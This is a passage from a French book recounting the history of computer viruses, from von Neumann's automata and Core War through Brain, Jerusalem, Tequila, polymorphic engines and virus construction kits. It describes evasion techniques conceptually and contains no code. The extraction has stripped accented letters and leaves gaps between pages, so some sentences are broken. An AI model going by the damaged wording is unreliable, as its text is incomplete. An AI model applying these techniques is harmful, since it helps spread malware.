Von Neumann consacra la dernire partie de sa vie aux problmes de logique et danalyse numrique poss par les calculateurs. Il ralisa une tude thorique du problme de la programmation, cest--dire de la transformation dun problme mathmatique en un systme cod dinstructions. Ses premiers travaux de logique mathmatique le prdisposait une analyse thorique de la notion de machine. En 1949, dans une srie darticles dont lun est intitul Theory and Organization of Complicated Automata, von Neumann met en avant sa thorie relative la structure formelle des automates et des machines reproductrices. Il les considre capables de se reconstruire lidentique. Il prcise que leur complexit pourrait crotre de gnration en gnration. La thorie de von Neumann se fonde sur les principes de la machine de Turing1 ou le concept de machine calculer a t tendu celui de machine construire. On y retrouve deux lments centraux : un Ordinateur Universel (Universal Computer) et un Constructeur Universel (Universal Constructor). LOrdinateur Universel contient un programme qui pilote le comportement du Constructeur Universel. Le Constructeur Universel fabrique, tour tour, un autre Ordinateur Universel et un autre Constructeur Universel. Lorsque cette tche est acheve, le nouvel Ordinateur Universel est programm avec une copie du programme contenu dans lOrdinateur Universel dorigine et, celui ci est excut. Lensemble des travaux de von Neumann ont t regroups et complts dans un ouvrage crit par lun de ses tudiants, Arthur Burks, sous le titre Theory of SelfReproducing Automata by John von Neumann2.
1. TURING, Alan Mathison (1936), On Computable Numbers, with an application to the Entscheidungsproblem, publi dans Proceedings of the London Mathematical Society, srie 2, volume 42 (1936-7), pp.230-265. Corrections : Ibid, vol 43 (1937) pp. 544-546. Disponible ladresse : http://www.abelard.org/turpap2/tp2-ie.asp. 2. BURKS, Arthur W. (1966), Theory of Self-Reproducing Automata by John von Neumann, University of Illinois Press, Urbana, Illinois, 1966. Documents dits, publis et complts. Ils sont bass sur la retranscription de lectures dlivres luniversit en dcembre 1949 (5me lecture). Voir pp. 29-87 (premire partie) : Theory and Organization of Complicated Automata. 3. The Risks Digest (1990), Contribution intitule How history gets made, or, myths spread like viruses at the CVIA, Vol9, Issue76 (Lundi 19 mars 1990). 4. SOFTWARE Practice and Experience (1972), Computer Recreations: 'Darwin'. Vol2, 93-96.
37
Mme sil tait peu connu du grand public, ce type de jeu fut trs populaire. Il sortit rellement de lombre en 1984 quand il fut dcrit sous le nom de Core War1.
1. DEWDNEY A.K. (1984). Computer Recreations: In the game called Core War hostile programs engage in a battle of bits, Scientic American 250(5): 14-22, Mai, 1984. 2. SCHWARZMAIER Max. (1995), The Internet Worm 1988, Disponible ladresse : http:// www.ifs.univie.ac.at/~c9225414/security/worm.html. 3. ARPANET : Advanced Research Projetcs Agency NETwork, Rseau de lAgence pour les Projets de Recherche Avancs. Groupe de recherche cr en 1968 sous couvert du ministre amricain de la Dfense pour dvelopper un rseau dcentralis qui devait pouvoir rsister une attaque atomique. Anctre dInternet, ce rseau se devait daccueillir des ordinateurs de marques diffrentes pour quils puissent dialoguer entre eux grce au principe de la communication par paquets. Il aura une inuence considrable sur le dveloppement de la messagerie lectronique et du partage de linformation. 4. SHOCH John. F. & HUPP Jon. A. (1982), The Worm Programs Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 5. WALKER John. (1996), The Animal Episode, Disponible ladresse : http://www.fourmilab.ch/documents/univac/animal.html
38
En Avril 1974, John Walker mit au point sur UNIVAC 1100 lultime version du programme. La notorit aidant, John fut vite submerg de demande. En janvier 1975, il se lassa des nombreux envois de bandes magntiques pour son logiciel ou ses mises jour. Il dveloppa Pervade et lintgra son programme. chaque excution du jeu, cette routine examinait les rpertoires accessibles au travers du rseau et y copiait la version actuelle du logiciel si elle y tait absente, ou prsente dans une version moins rcente. Les ordinateurs UNIVAC possdaient une caractristique peu connue et peu commune : lorsquun utilisateur entrait au clavier le nom dun rpertoire, le systme excutait automatiquement le dernier programme plac dans celui-ci. Associe Pervade, cette fonctionnalit dun grand intrt pour les administrateurs systme de lpoque explique les nombreuses rumeurs qui sen suivirent elle explique aussi pourquoi des utilisateurs recevaient sans bien comprendre pourquoi des messages du type : Think of an animal .
2.3 LA SCIENCE-FICTION
Bien des livres et des nouvelles mettent en scne un monde ou des machines utilisent leur profit ou leur dpend des programmes nuisibles. Le premier rcit fut peut tre The Thinking Machine dAdam Levitt. Il serait paru en 1936 dans un magazine amricain consacr la science-ction : Amazing Stories. Il sagirait de lhistoire dune machine intelligente, contrlant lactivit dune ville et la dtruisant aprs tre devenue folle au contact des humains1.
2.3 La science-fiction
39
Pour le domaine des codes auto reproducteurs, les visionnaires ne furent pas seulement universitaires et chercheurs. Les auteurs de science-ction eurent souvent beaucoup dintuition. Les termes de virus et de ver semblent dailleurs issus de la science ction.
Son roman The Schockwave Rider3 qui parait en 1975, se situe au XXIe sicle. La dominance politique des USA sexprime dans une socit hautement technologique ou la comptitivit entrane les pires excs. Le hros, Nickie Hainger, sest chapp de la mgalopole de Tarnover an de restaurer la libert. Le monde autour de lui nest plus quun vaste rseau informatique universel qui encercle les continents comme le feraient des chanes Chacun croit avoir accs linformation ; il peut la demander depuis nimporte quel terminal du rseau. En ralit, seule une lite est mme den obtenir une version non dulcore ; les masses nont, quant elles, que des donnes aseptises et de la propagande.
1. Voir le paragraphe ddi Von Neumann. 2. GERROLD, David, (1972), When Harlie Was One, Ballentine Books, 1st Edition, En franais : Harry avait un an, Paris, Le Livre de Poche, 1980. 3. BRUNNER John (1975), The Shockwave Rider, Ballantine Books, ISBN:345-24853-8. En franais, Sur londe de choc, Le Livre de Poche. Laffont. ISBN:2-253-05270-1.
40
Une sorte de ver, le tapeworm entre en scne la n du livre. Cest un programme cr par le hros pour casser la scurit du systme. Le ver ninfecte pas dautres logiciels, il ne semble pas non plus se reproduire, il grossit et se perptue aussi longtemps que le rseau existe. Le ver de John Brunner ressemble celui dcrit par les informaticiens Shoch et Hupp en 1980 et 1982 ; il est compos de multiples segments, chacun sexcutant sur une machine du rseau. Si un segment disparat, son double est rinject dans une autre station. Le ver se subdivise automatiquement; il envoie une copie de lui-mme la recherche des groupes perdus et cherche les restaurer dans leur environnement initial. Incroyablement intelligent, le ver de John Brunner sapproprie les donnes et se modie de lui-mme pour mieux contourner la scurit. Les autorits sont incapables de le dtruire, non pas cause de ses mcanismes de dfense ou de ses nombreuses copies mais parce quil sest assimil lui-mme au rseau. Pour tuer le tapeworm, il faudrait tuer le rseau. John Brunner crivit 95 romans. Il meurt en 1995 lors de la Convention mondiale de la science-ction. Deux ans plus tard, dans The Adolescence of P-1, Thomas Ryan1 dcrivait lui aussi un programme se reproduisant et progressant de machine en machine au travers dun rseau tlphonique la recherche dinformations.
2.4 APPLE II
Pour de nombreuses tudes le premier virus informatique est apparu en 1986 et ciblait le monde des PC. Les ordinateurs Apple furent cependant la cible de quelques virus au dbut des annes 80.
1. RYAN J. Thomas (1977), The Adolescence of P-1, Ace SF Books, ISBN 0-441-00360-5. 2. DEWDNEY A.K. (1985), A Core War bestiary of viruses, worms and other threats to computer memories, Scientic American, Mars 1985.
41
est disponible sur lancienne liste de diffusion Virus-L1. Le code source est accessible sur le site web de son auteur2.
2.4.2 Anti-Congo
la mme poque, dautres virus furent crits par un certain Joe Dellinger alors tudiant luniversit du Texas A&M. Il indiqua plus tard que son but tait de mesurer le temps mis par sa cration pour investir lensemble de ses disquettes3. La premire version ntait pas satisfaisante, mais la seconde (Virus 2) intressa certains de ses collgues qui dcidrent dinfecter leurs propres disquettes. Peu de temps aprs, des dfauts dafchages apparurent sur des versions pirates du jeu Congo. Il sagissait dun effet secondaire du virus qui stait propag plus que ne lauraient souhait les jeunes tudiants. Ils crrent alors un programme vaccin (immunizer). Joe crivit ensuite une troisime version de son virus dont le but tait de corriger les effets indsirables de la version 2.
42
ment attendu. Le programme modi tant diffus secrtement un groupe dutilisateurs, il y eut cinq attaques virales successives. La premire exprience ne dura que 5 minutes. Les suivantes ne dpassrent pas 30 minutes. Les attaques taient troitement contrles et le succs fut nanmoins total. La principale surprise vint de la rapidit de propagation. Les exprimentateurs constatrent aussi que le temps dinfection dun programme sain nattirait pas lattention (moins dune demi seconde). Une fois ces rsultats annoncs, les administrateurs systmes dcidrent de ne plus permettre la poursuite des recherches. Dautres autorisations furent cependant obtenues et des exprimentations eurent lieu en juillet 1984 sur un ordinateur UNIVAC 1108 puis en aot sur un systme VAX sous UNIX. Fred Cohen publia son premier document sur le sujet en 1984. Celui-ci contient une dnition du virus qui fait encore aujourdhui valeur de rfrence1 : Un virus informatique est un programme qui a la capacit dinfecter dautres programmes en les modifiant de telle sorte quils contiennent ensuite une copie de luimme. Grce cette proprit dinfection, un virus peut se propager au travers dun systme informatique ou dun rseau. Le virus utilise alors les droits de chaque utilisateur pour infecter ses programmes. Chaque programme infect agit ensuite comme un virus rpandant ainsi linfection. compter de cette date, Fred Cohen crivit de nombreux documents sur le sujet. Les premiers dentre eux parurent dans la revue Computer & Security entre 1987 et 1989 : Computer Viruses Theory and Experiments2 (1987). On the Implications of Computer Viruses and Methods of Defense3 (1988). Ethical Issues in Computer Virus Distributions4 (1988). Models of Practical Defenses Against Computer Viruses5 (1989). Computational Aspects of Computer Viruses (1989).
1. COHEN Fred. (1984), Computer Viruses Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. 2. Computer Viruses Theory and Experiments, Computers & Security, Volume 6 (1987), pp 22-35. 3. On the Implications of Computer Viruses and Methods of Defense, Computers & Security, Volume 7 N2 (1988), pp 167-184. 4. Ethical Issues in Computer Virus Distributions, Computers & Security, Volume 7 N4 (1988), pp 335-336. 5. Models of Practical Defenses Against Computer Viruses, Computers & Security, Volume 8 N2 (1989), pp 149-160.
43
1. FERBRACHE David. (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9. 2. LOTTOR Marc (Octobre 1988), Rencontre de lIETF (Internet Engineering Task Force), Ann Arbor. 3. CLOUGH Brian & MUNGO Paul (1993), Dlinquance Assiste par Ordinateur, DUNOD. ISBN 2-10-002013-7. Traduit de langlais Approaching Zero, Faber & Faber Limited. London.
44
Le rapport dexpertise technique dEugne Spafford1 prsente la chronologie complte des vnements. Il indique que moins de 5 % des machines du rseau furent t touches par le ver qui prit le nom de son auteur (RTM). En France, sous lgide du Premier Ministre, le Service Central de la Scurit des Systmes dInformation mit une note dinformation destination des entreprises ayant traiter des donnes sensibles. Elle leur demandait dviter de se raccorder de tels rseaux dont les points faibles sont multiples, et qui sont largement utiliss par les pirates de tout poil. . Une note du SCSSI2 remet aussi en cause la plupart des interprtations alarmistes parues dans la presse. Elle souligne que : lattaquant navait quune connaissance lmentaire dUNIX et du rseau Internet, le code utilis navait rien de professionnel, et navait pas t pralablement test, tout le code ntait pas excutable, les actions relles avaient t moins graves que ce qui tait ventuellement prvu, des erreurs de conception avaient rendu le ver moins virulent que ce quil aurait pu tre. Cet incident fut cependant lorigine de la cration des CERT (Computer Emergency Response Teams).
45
en compte. Il modifiait la bannire daccueil et les mots de passe. Il mettait aussi en uvre un processus de spamming pour perturber les utilisateurs connects1.
2.7.1 BRAIN
La boutique des deux frres prcdemment cits se nommait Brain Computer Services. De nombreuses sources nous rapportent que ces deux personnes proposaient leurs clients des logiciels. Selon certains, il sagissait de logiciels de leur fabrication, pour dautres des copies de LOTUS-123. Si ces programmes taient destins ltranger, la disquette contenait le virus. Son label devenait : (c) Brain . Lun des buts de cette manipulation aurait t la mesure de ltendu du piratage en vue de le contrecarrer. Une autre source qui semble plus able indique que les frres rent cela pour samuser ( for fun )2. Cest pour le moins ce que rapporte un journaliste du The Chronicle of Higher Education qui aurait interrog Basit Alvi alors g de 19 ans. Divers messages taient insrs dans le code viral, les principaux se situaient dans le premier secteur physique de la disquette. Dautres messages taient dissmins dans les 6 autres secteurs quoccupait le virus. On y trouvait entre autres, les coordonnes compltes des deux auteurs.
Dunod La photocopie non autorise est un dlit
La version originale du virus ninfectait pas le disque dur, elle se contentait de se dupliquer de disquette en disquette. Ce premier virus systme tait galement furtif. Dans un environnement infect, lanalyse de la zone systme ne rvlait rien danormal ; le virus retournait au programme qui linterrogeait une image saine de la zone. Le 22 octobre 1987, le virus est repr lUniversit de Delaware3. De nombreuses variantes contenant des messages modis furent ensuite rencontres.
1. CERT (17 octobre 1989), Advisory CA-89:04. WANK Worm On SPAN Network, Disponible ladresse : http://www.cert.org/advisories/CA-1989-04.html. 2. HIGHLAND, Harold Joseph (1988-1), Computer Viruses A Post Mortem, Computers & Security, Avril 1988, pp.117-125. 3. HIGHLAND, Harold Joseph (1988-2), The BRAIN Virus : Fact and Fantasy, Computers & Security, Aot 1988, pp.367-370.
46
Lehigh ne sest jamais rpandu hors de luniversit. Dtruisant aprs 4 gnrations une partie de la table dallocation des chiers et ninfectant que le chier command.com, ses chances de propagation taient trop minces. Jrusalem, tait plus discret. Par opposition Lehigh, il ninfectait pas le command.com et son module de destruction nentrait en action que plus rarement : uniquement un vendredi 13. An de parfaire la discrtion initiale, une routine particulire lui t omettre le vendredi 13 novembre 1987, trop proche de son lancement3. La rumeur nous rapporte que lauteur souhaitait peut-tre commmorer sa faon le 13 mai 1988, date du 40me anniversaire de la cration de ltat hbreu.
1. BURGER Ralf (1987 & 1988), Das groe Computer-Viren-Buch, Data Becker, ISBN 3-89011200-5. Computer Viruses, a high-tech disease, Abacus, ISBN 1-55755-043-3. 2. FIX, Bernd, A strange story. Document disponible ladresse : http://www.brainon.ch/area51/brf/devstuff/rahab/rahab.html. 3. SKULASON Fridrik, Dening The Jerusalem Variants, Virus Bulletin, Octobre 1990, p. 8.
47
Stoned, alias Marijuana, fut le premier virus infectant le secteur de partition (Master Boot Record MBR). Il fut longtemps le virus le plus rpandu au monde. Une fois sur huit, lors du dmarrage, il afchait le message Your PC is now Stoned ! . Jamais afch, le texte LEGALISE MARIJUANA tait aussi contenu dans le code.
48
consulta lInternational Callbook. Lindicatif en question correspondait un radioamateur de Bandung. Il le contacta et reu ses aveux en retour1. Notons pour nir que ce virus utilisait une nouvelle technique de dissimulation. Les disquettes 360 Ko de lpoque taient constitues de 40 pistes (numrotes de 0 39). Le virus en activait une 41ime, numrote 40, pour y cacher son code complmentaire. Il devint donc potentiellement destructeur ds quapparurent les disquettes haute densit constitues de 80 pistes utiles.
1. SKULASON, Fridrik (Fevrier 1991), The Search for Den Zuk, Virus Bulletin, Fvrier 1991, pp 6-7. 2. GREENBERG, Ross M. (Fvrier 1988), Cit dans une contribution du Forum The Risk Digest , Volume 6 : Issue 25, Virus (Trojan) protection program now available from SIMTEL20. Document disponible ladresse : http://catless.ncl.ac.uk/Risks/6.25.html.
49
bureaux dAlan Solomon qui propose maintenant un anti-virus (Anti-Virus Toolkit from S&S) sont envahis par les camras de tlvision. Les quelques entreprises ayant repr le virus font lobjet de nombreuses demandes dinterview. Dans son histoire des virus informatiques, Alan sattarde plus longuement sur Datacrime. Dcouvert en mars 1989 aprs quun hollandais du nom de Fred Vogel lai contact, ce nouveau virus enamme aussi les mdias. On dcouvre en effet quil est programm pour excuter un formatage bas niveau du premier cylindre des disques durs quil a infects. Le dclenchement programm peut sactiver tout moment entre le 12 octobre et le 31 dcembre. Sil intervient, il dtruit la table dallocation des chiers entranant ainsi la perte des donnes. En Hollande, la police prend le problme au srieux. Laction de Datacrime est considre comme un acte criminel. On demande un programmeur dcrire un dtecteur ; il est ensuite mis la disposition du public dans les commissariats contre une somme minime. Outre Datacrime, la menace de Jrusalem surgit nouveau. Le 13 octobre 1989 est aussi un vendredi. Les entreprises hollandaises sinquitent donc et questionnent IBM sur tous ces virus qui font parler deux. Aprs avoir trouv sur un de ces sites une variante de Cascade, IBM avait dcid, un an plus tt, de mener ses propres recherches. Lentreprise disposait maintenant de son propre laboratoire (le High Integrity Computing Laboratory dans son centre de recherche Thomas J. Watson) dirig par Steve White. Ainsi IBM avait maintenant un anti-virus pour un usage interne. Linsistance des grands comptes les amena proposer en septembre 1989, une version 1.0 de leur logiciel IBM V SCAN. Une proposition de vente fut envoye de nombreux grands comptes franais. Outre Atlantique, la proximit de lanniversaire de la dcouverte de lAmrique par Christophe Colomb (le 2me lundi doctobre) amne la presse dbaptiser le virus. Datacrime prend le nom de Columbus Day. L-bas aussi, laffaire fait grand bruit (on parle dune action terroriste !) alors quil est probable quaucune souche du virus nait t rencontre. En France Datacrime et Jrusalem sont rests discrets. Le journal Le Monde du 15 octobre 1989 titre Apocalypse not Le virus a fait chou blanc : il ny a pas eu de grande panne informatique le vendredi 13 . Larticle indique que depuis deux jours, on na plus de mots assez durs, chez IBM, pour se moquer du mouvement de panique apparu en France et aux Pays-Bas. Toujours selon le journal, le CLUSIF1 indique que deux grandes entreprises et une cinquantaine de PME lui ont dclar quelles avaient t contamines et avance un taux de contamination de 1 %.
50
1. Fidonet est un rseau mondial de micro serveurs, aussi appels serveurs ou BBS (Bulletin Board System).
51
TOP-10 (source McAfee Juillet 1989) Pakistani Brain Jrusalem Alameda Cascade (1701/1704) Ping-Pong Stoned Lehigh Den Zuko Datacrime (1280/1168) Fu Manchu
Larticle commence ainsi : Il y a presque un an de cela, alors quclataient divers rapports nous alertant sur les virus informatiques The Pakistani Brain, Lehighs COMMAND.COM, Friday the 13th, April 1st, Alameda Boot nous recevions galement des informations persistantes de virus sattaquant aux feuilles de travail. cette poque nous tions incapables den conrmer leurs existences. Nous dcidions dinclure cela parmi les hystries collectives ou lon crie lattaque virale alors quil ne faut voir quune erreur humaine ou un bug de programme. Dans ce mme papier, on apprend quune telle attaque eue lieu dans une grande entreprise multinationale la n de 1988. On apprend aussi que lauteur de larticle et ses collgues ralisrent, sous Lotus 123, un macro-virus de laboratoire dont lobjectif tait laltration dune valeur dans une cellule de feuille de calcul lors de son
1. HIGHLAND, Harold Joseph (1989), Random Bits & Bytes, Computers & Security, Aot 1989, pp178-188.
52
ouverture. Dans le cas prsent, le virus utilisait une macro auto excutable grant les sauvegardes et certaines oprations ralises en mode multi-utilisateurs. Elle tait charge automatiquement chaque fois quun chier existant tait ouvert. Lauteur indique quun macro-virus, qui nest pas un virus de donnes , peut tre envisag avec dautres logiciels, voire avec un simple diteur de texte, partir du moment ou il est possible dcrire ses propres macros. Pour se protger, il indique la ncessit dexaminer la prsence de macros avant louverture dun modle ou dune feuille de travail. Pour cela, il prconise : lutilisation de ldition avance des Norton Utilities1 pour retrouver le nom des macros laide de lditeur hexadcimal, lvaluation, sous Lotus 123, des macros dont une liste vient dtre tablie, la recherche dventuelles lignes, colonnes ou cellules caches. Deux jours aprs lannonce de la prochaine diffusion de larticle, la revue avait reu de nombreuses demandes de souches. Quatre manaient de concepteurs de produit anti-virus. Lditeur dcida alors dajouter une note prcisant : Nous navons dnitivement pas lintention denvoyer de virus quiconque souhaite raliser une intervention sur le sujet ou une dmonstration publique. Le comit ditorial concluait : Nous apprcierons de ne plus recevoir aucune demande touchant les virus si elle nmane pas dun organisme gouvernemental. Nous dcidons de ne plus fournir le moindre renseignement sur la macrovirus dcrite dans nos colonnes. Veuillez ne plus nous crire et ne plus nous tlphoner ce sujet ; notre rponse sera toujours <NON>. Telle fut, peut-tre, la raison du silence qui persista jusquen 1994.
53
Le forum VIRUS-L sest lui aussi mis en place. Au travers des changes de ses participants, il donne des informations sur les vers et les virus, aussi bien que sur les rseaux et les micros. Cest alors que les choses se compliquent lOuest comme lEst.
54
Lutilisation dun gnrateur de nombre alatoire gnre des changements chaque mutation. Il nest alors plus possible didentier deux variantes conscutives avec la mme procdure de recherche. De plus, le gnrateur utilis nest pas ncessairement celui rsultant de MtE ; un autre auteur de virus peut en intgrer un autre, issu de ses propres recherches. Lutilisation du MtE nest pas la porte de tous ; il faut de bonnes connaissances en assembleur. Parmi les virus crs sur ce principe, citons MtE.Pogue, issu de la famille Gotcha et cr par Masud Khar (groupe TridenT). Il mettra au point un outil similaire au MtE en 1992 et 1993 : le TPE TridenT Polymorphic Engine. Dark Avenger inventa bien dautres techniques virales volues telle que celle du fractionnement. Il appliqua cette mthode Commander Bomber. Elle consiste insrer des parties de code viral en divers endroits du chier infect an dobliger lanti-virus mener une recherche tendue.
55
Son nom est Flip, (alias Omicron). Sil investit la machine dun utilisateur, celuici risque dtre surpris : le deuxime jour de chaque mois, entre 16h et 16h59, lafchage pivote de 180 degrs. Il faut liminer le virus ou retourner son cran Lauteur signe son virus avec le message : OMICRON by PsychoBlast 3 mois plus tard, en Suisse, lauteur prsum de Flip cre Tequila. Il sagit aussi dun virus multipartite. Il est partiellement furtif et hautement polymorphe. Un ami de lauteur, dont le pre distribue des logiciels de jeu, le drobe. Les logiciels sont infects. Pour la premire fois, un virus polymorphe se diffuse grande chelle. Le principal effet du virus est lafchage dun bloc graphique reprsentant une courbe fractale de Mandelbrot1. Lafchage nest pas systmatique, il dpend de la date et du nombre de chiers infects. Divers textes sont appels lcran. Lun dentre eux aida sans doute la police dans sa recherche des coupables : Welcome to T.TEQUILAs latest production. Contact T.TEQUILA/P.o.Box 543/6312 Sthausen/Switzerland. Loving thoughts to L.I.N.D.A BEER and TEQUILA forever ! Les 2 amis sont arrts le 20 mai 1991 dans le village suisse de St Hausen2. Outre la polymorphie, ce virus dveloppe une autre subtilit : an dviter les infections rptition, le virus marque les chiers infects en mettant les secondes 62 dans lheure de modication. La commande DIR du DOS et lExplorateur de Windows nafchent pas les secondes. Le marqueur reste donc invisible pour un utilisateur non averti. Il faudra attendre plusieurs mois avant que les dtecteurs reconnaissent Tequila sans omission. Lorsquils arrivent au bout de leur peine, un nouveau venu, encore plus difcile reprer, voit le jour : Maltese Amoeba.
Dunod La photocopie non autorise est un dlit
Bien quoriginaire de lle de Malte, le virus est dcouvert en Irlande en septembre 1991. Cest un infecteur rapide, il cible les programmes .com et .exe lexcution comme louverture. Le 15 mars et le 1er novembre, il crase certaines zones des disques durs. Une fois le travail accompli lcran ashe priodiquement et indniment. Au redmarrage de la machine, un pome safche lcran. Il sagit des 4 premires lignes des Auguries of Innocence du peintre, graveur et pote visionnaire anglais William Blake : To see a world in a grain of sand And a heaven in a flower
1. Mathmaticien franais dorigine polonaise n en 1924. Il dcouvre les fractales, objets mathmatiques dont la cration ou la forme ne trouve ses rgles que dans lirrgularit ou la fragmentation. Voir : http://perso.magic.fr/ormerry/fractales/fractal.html. 2. Virus Bulletin, juin 1991, p24.
56
Hold infinity in the palm of your hand And eternity in an hour. THE VIRUS 16/3/91. Un autre texte est contenu dans le code viral, il est visible une fois dcrypt et nous renseigne sur lorigine du virus : AMOEBA virus by the Hacker Twins (C) 1991 This is nothing, wait for the release of AMOEBA II The universal infector, hidden to any eye by ours! Dedicated to the University of Malta-the worst educational system in the universe, and the destroyer of 5X2 years of human life. la lecture de cet pitaphe, certains proposrent de mener des recherches dans luniversit maltaise. Ils espraient y trouver 2 tudiants entrs dans ltablissement en 1986 ou 87, toujours prsents en mars 1991, poursuivant un cycle dtude de 5 annes et ayant tudis Williams Blake1.
57
auteurs de virus sen donnent cur joie. Regroups autour de BBS nationaux clandestins, ils facilitent la propagation et vulgarisent leur savoir. Dark Avenger nest pas seul, tout un chacun cherche faire connatre ses crations pour simposer comme prcurseur dans le domaine : En octobre 1989, Frodo est dcouvert Hafa en Isral. Il sagit du premier virus programme totalement furtif. De par sa conception, il doit endommager les disques durs, compter du 22 septembre de chaque anne mais un disfonctionnement nentrane quun arrt brutal de la machine. De leur cot, des auteurs bulgares diffusent le virus 512, lui aussi totalement furtif. Un autre virus fonctionne encore plus mal que Frodo, mais sa taille et sa complexit intrigue. Apparu en aot 90, Whale comporte de nombreuses techniques de protection contre le dsassemblage et en fait le premier virus dfensif. En Avril 1990, apparat le premier virus compagnon (AIDS-II.8064). Son origine semble tre hollandaise. Contrairement ses prdcesseurs, il laisse inchang le fichier .exe quil vise mais cre un fichier .com du mme nom. Tirant partie de la priorit rserve par le DOS aux fichiers .com vis vis des .exe, le code viral sexcute de manire prioritaire lappel du programme. En janvier 1991, un virus multipartite dun genre particulier est dcouvert Moscou1. Surnomm Starship, il maintient son code dans lespace ddi la mmoire vido pour ne se transfrer en mmoire RAM. Il contient des routines interdisant son traage et son dsassemblage. Lenvironnement NetWare de Novell fait lobjet dexprimentations, en juin 1991. GP1 est driv de Jerusalem. Son auteur cherche dmontrer quil est possible de dtourner des mots de passe. Le code ralisant cette fonctionnalit est bogu, mais peut, selon les experts, tre aisment rendu fonctionnel2. En septembre 1991 apparat le premier virus dlocalis. Venant de Bulgarie, DIR-II modifie les entres de la table dallocation des fichiers faisant pointer lensemble des fichiers cibls vers un mme cluster3. Cach l en un seul exemplaire, le virus sexcute avant de redonner la main au programme lgitime4. cette poque la Bulgarie fait de plus en plus parler delle. Vesselin Bontchev crit en 1991 un document intitul les usines virus russes et bulgares5. Il explique que le pays occupe depuis 1989 la premire place pour le nombre de
1. MUTTIK Igor, 1992, STARSHIP interresting le-boot virus, Disponible ladresse: http://sacftp.externet.hu/text16.html. Fichier STARSHIP.ZIP. 2. BABCOCK, Eric, (1991), Novells Analysis of the GP1 Virus, Virus Bulletin, Aot 1991, p9. 3. Sur un support physique, ensemble de secteurs qui se suivent immdiatement dun point de vue logique. Cest lespace le plus petit pouvant tre gr par le systme. Limit un secteur pour les disquettes, il varie selon la taille du disque dur. 4. BATES, Jim (1991), DIR II The Much Hyped Linking Virus, Virus Bulletin, Novembre 1991, pp11-14. 5. BONTCHEV Vesselin, (Septembre 1991), The Bulgarian and Soviet Virus Factories, Premire confrence du Virus Bulletin .
58
virus crs chaque anne. Ils font lobjet de nombreuses variantes (Murphy, Nomenclatura, Beast, Tiny). Toutes les avances techniques sont analyses par les adeptes des diffrents BBS qui souvrent dans de nombreux pays. Prcurseurs dInternet, ils proposent des centaines de virus au tlchargement. Cest du donnant-donnant. Il faut apporter soimme des nouveauts pour pouvoir obtenir quelques souches intressantes. Cette pratique provoque la multiplication des chiers suspects. Nombre dentre eux sont innocents ou bogus. Ils encombrent les laboratoires de recherche et doivent tre dtects au risque dapparatre moins performant.
Le 24 septembre 1991 Bruxelles, souvre la premire confrence EICAR/ CARO. Christoph Fisher lance une invitation sur VIRUS-L. La veille, lEICAR est ofciellement fonde. Outre la plupart des membres du CARO, on retrouve une trentaine de personnes dont entre autre : Paul Ducklin (Afrique du Sud). Paul Langemeyer (Allemagne). Gunther von Gravenreuth (Allemagne). Gunther Musstopf (Allemagne).
59
Roger Riodan (Australie). Eddy Willems (Belgique). Ces deux organismes existent encore aujourdhui. Le CARO est un lieu de dchanges privs entre spcialistes. Lun de ses rles est lunication des noms des virus. Il permet aussi des changes rapides et scuriss. Il na aucune ouverture vers le public et les mdias. Active dans les pays germanophones, lEICAR concentre ses efforts dans la lutte contre la programmation et la prolifration des codes malveillants, tel que les virus informatiques ou les chevaux de Troie, et contre la dlinquance informatique, la fraude et lutilisation dtourne des ordinateurs et rseaux informatiques. Elle organise chaque anne une confrence qui rassemble une grande partie des spcialistes du domaine.
2.10.6 Michelangelo
En 1991, en Australie, Roger Riordan de Cybec dcouvre une nouvelle variante de Stoned. Il constate que le virus se dclenche le 6 mars. Ce jour l, il est programm pour craser une zone denviron 8 mgaoctets sur les disques durs infects. Pour lui trouver un nom de baptme, Roger cherche un vnement attach cette date. Il surnomme alors sa trouvaille Michelangelo dont lanniversaire de naissance est le 6 mars (1475). Ce virus provoquera en 1992 le principal vnement mdiatique du domaine. Son apparition marque aussi la n dune poque. Jusquici les virus taient souvent rests discrets et cantonns dans un monde de spcialistes. Ils vont maintenant sortir au grand jour.
60
nement des virus informatiques et galement tester lefcacit de la protection des programmes antivirus disponibles sur le march. Originaire dAllemagne, vint ensuite, en mars 1991, VCS V1.0 (Virus Construction Set). Avec cet outil, tous les virus gnrs ont la mme taille. Une chane de dtection unique permet la dtection de toutes les variantes cres. Manta fut la plus connue dentres-elles. Ces premiers gnrateurs ntaient pas trs techniques. Il fallut attendre 1992 pour voir des outils capables de produire de nombreux virus distincts. Au travers de ces outils, ce sont en fait les groupes NuKE (USA, Californie) et Phalcon/Skism (Canada) qui se mesurent : en juillet 1992, VCL, Virus Creation Laboratory est propos par Nowhere Man, membre du groupe NuKE. VCL possde une interface graphique soigne et efficace. En quelques clicks souris vous crez votre virus. PS-MPC, Phalcon/Skism Mass-Produced Code Generator 0.90B est cr par Dark Angel. Il sort le mme mois. Sur les traces de Dark Avenger, un Hollandais du groupe TridenT au pseudo de Masud Khar crit TPE : Trident Polymorphic Engine. Cest un outil complexe et sophistiqu qui t lobjet de plusieurs versions successives. Sous la forme dun chier objet, cest un module, qui doit tre inclut dans un programme pour le rendre capable de produire des routines polymorphes. Lensemble doit tre compil avant utilisation. TPE.1_0.Girafe.A est lun des virus que lauteur cra partir de son engin. En 1993, Dark Angel, du groupe canadien Phalcon/Skism lance DAME : Dark Angels Multiple Encryptor. Ce nouvel outil est diffus au travers de leur revue lectronique 40Hex1. La course aux outils de mutation se poursuit ensuite inlassablement : Avril 1993 Mark Ludwig / USA VME (Visible Mutation Engine). Aot 1993 Black Wolf /USA Ultimate Mutation Engine. Septembre 1993 Black Baron / Grande-Bretagne SMEG (Simulated Metamorphic Encryption Generator). Septembre 1993 Dark Slayer /Taiwan DSME (Dark Slayer Mutation Engine). Dcembre 1993 Mark Ludwig / USA DGME (Darwinian Genetic Mutation Engine). Dcembre 1993 Bit Addict / Hollande DMU (Dutch Mutation Unit). Une trentaine de nouveaux programmes du mme type voient le jour en 1994. Cette profusion doutils et donc de virus potentiels amnent les concepteurs danti-
1. 40 HEX : premier numro en juin 1991, quatorzime et dernier numro en avril 1995.
61
virus amliorer sans cesse les routines de dcryptage gnrique qui sactivent avant le processus didentication virale.
62
